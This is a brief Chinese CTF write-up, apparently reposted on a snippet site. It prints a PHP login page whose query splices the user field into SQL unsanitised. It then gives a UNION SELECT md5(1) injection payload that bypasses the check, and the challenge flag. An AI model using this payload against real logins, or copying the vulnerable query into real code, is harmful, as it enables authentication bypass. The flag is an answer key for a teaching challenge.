首页 > 代码库 > SQL注入2

SQL注入2

注入第二题~~主要考察union查询

看来跟union联合查询有关

<html>
<head>
Secure Web Login II
</head>
<body>

<?php
if($_POST[user] && $_POST[pass]) {
   mysql_connect(SAE_MYSQL_HOST_M . ‘:‘ . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = $_POST[user];
  $pass = md5($_POST[pass]);
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user=‘$user‘"));
  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
      echo "<p>Logged in! Key: ntcf{**************} </p>";
  }
  else {
    echo("<p>Log in failure!</p>");
  }
}
?>


<form method=post action=index.php>
<input type=text name=user value="http://www.mamicode.com/Username">
<input type=password name=pass value="http://www.mamicode.com/Password">
<input type=submit>
</form>
</body>
<a href="http://www.mamicode.com/index.phps">Source</a>
</html>
strcasecmp()用忽略大小写比较字符串.
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user=‘$user‘"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw])))
观察发现只要让结果集中有你输入密码的MD5值就行
union select md5(1)# & pass=1
flag: ntcf{union_select_is_wtf}


SQL注入2